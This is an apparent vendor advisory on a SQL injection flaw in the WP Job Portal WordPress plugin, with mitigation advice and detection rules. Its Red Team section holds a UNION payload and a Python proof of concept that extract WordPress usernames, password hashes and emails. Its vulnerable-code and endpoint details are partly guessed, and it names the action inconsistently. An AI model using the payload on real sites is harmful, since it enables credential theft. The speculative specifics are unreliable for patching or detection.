CVE-2024-11711

Executive Summary

CVE-2024-11711 is a critical unauthenticated SQL Injection vulnerability in the WP Job Portal WordPress plugin (versions up to and including 2.2.1). The flaw resides in the resumeid parameter, which is insufficiently sanitized and used directly in SQL queries. An unauthenticated attacker can inject arbitrary SQL commands to extract sensitive data from the WordPress database, including user credentials, password hashes, and other confidential information. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched, posing a significant risk to all sites using the affected plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a supply chain risk, any site that has installed the WP Job Portal plugin is vulnerable. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress ecosystem. Organizations should immediately assess their use of this plugin and apply virtual patching or disable the plugin until an official patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability allows unauthenticated remote attackers to extract sensitive information from the database, making it a high-severity threat. The low attack complexity and lack of required privileges make it easily exploitable.

Deep Dive & Mechanics

The vulnerability exists in the resumeid parameter, likely within a function that processes resume data. The plugin fails to properly escape the user-supplied resumeid parameter and does not use prepared statements. This allows an attacker to inject SQL commands that are appended to the existing query.

For example, a typical vulnerable query might look like:

SELECT * FROM wp_job_portal_resumes WHERE id = $resumeid

An attacker can inject a UNION-based SQL injection to extract data from other tables:

1 UNION SELECT user_login, user_pass, user_email FROM wp_users

The lack of input validation and parameterized queries makes this possible. The resumeid parameter is likely passed via GET or POST request to an AJAX endpoint or a shortcode handler.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.1):

$resumeid = $_GET['resumeid'];
$query = "SELECT * FROM wp_job_portal_resumes WHERE id = " . $resumeid;
$result = $wpdb->get_results($query);

Patched Code (Hypothetical):

$resumeid = intval($_GET['resumeid']);
$query = $wpdb->prepare("SELECT * FROM wp_job_portal_resumes WHERE id = %d", $resumeid);
$result = $wpdb->get_results($query);

The patched version uses intval() to ensure the input is an integer and $wpdb->prepare() to safely parameterize the query. Since no official patch is available, this is a recommended fix.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress with the WP Job Portal plugin version 2.2.1.
2. Ensure the plugin is active and accessible.

Exploitation Steps:

1. Identify the vulnerable endpoint. Typically, the plugin uses AJAX actions like wp_job_portal_get_resume or a shortcode that accepts resumeid.
2. Send a crafted request:

GET /wp-admin/admin-ajax.php?action=get_resume&resumeid=1 UNION SELECT user_login,user_pass,user_email FROM wp_users-- -

3. The response will contain the extracted data.

Proof of Concept (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
params = {
    "action": "get_resume",
    "resumeid": "1 UNION SELECT user_login,user_pass,user_email FROM wp_users-- -"
}
response = requests.get(target, params=params)
print(response.text)

Blue Team

Detection:

• Monitor for SQL injection patterns in resumeid parameter.
• Look for requests containing UNION, SELECT, FROM, --, or # in the resumeid parameter.
• Alert on unusual database query patterns from the web server.

Mitigation:

• Immediately disable the WP Job Portal plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block SQL injection attempts.
• Use virtual patching via a WAF or IDS/IPS.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=get_resume and resumeid containing SQL keywords.
  • Outbound database queries containing UNION, SELECT, FROM, wp_users, user_pass.
• File IOCs:
  • Modified plugin files (e.g., wp-job-portal/includes/class-resume.php).
  • Suspicious log entries in WordPress debug log.
• System IOCs:
  • Unexpected database user enumeration.
  • Unusual database query execution times.

Detection Engineering

YARA Rule

rule CVE_2024_11711_SQLi_ResumeID {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-11711 in WP Job Portal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11711"
    strings:
        $sqli1 = /resumeid=.*UNION.*SELECT/i
        $sqli2 = /resumeid=.*' OR '1'='1/i
        $sqli3 = /resumeid=.*--/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-11711 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against WP Job Portal resumeid parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "resumeid=1 UNION"
            - "resumeid=' OR"
            - "resumeid=1--"
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a resume title (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11711 WP Job Portal SQL Injection Attempt"; flow:to_server,established; content:"resumeid"; http_uri; nocase; content:"UNION"; http_uri; nocase; distance:0; content:"SELECT"; http_uri; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the WP Job Portal plugin until an official patch is released.
2. Virtual Patching: Implement WAF rules to block SQL injection patterns in the resumeid parameter.
3. Code Fix: Apply the patched code example provided in the "Vulnerable vs. Patched Code" section.
4. Monitoring: Enable detailed logging for WordPress and database queries to detect exploitation attempts.
5. User Awareness: Inform site administrators about the vulnerability and the need to update or disable the plugin.

Valters IT
Securing Digital Frontiers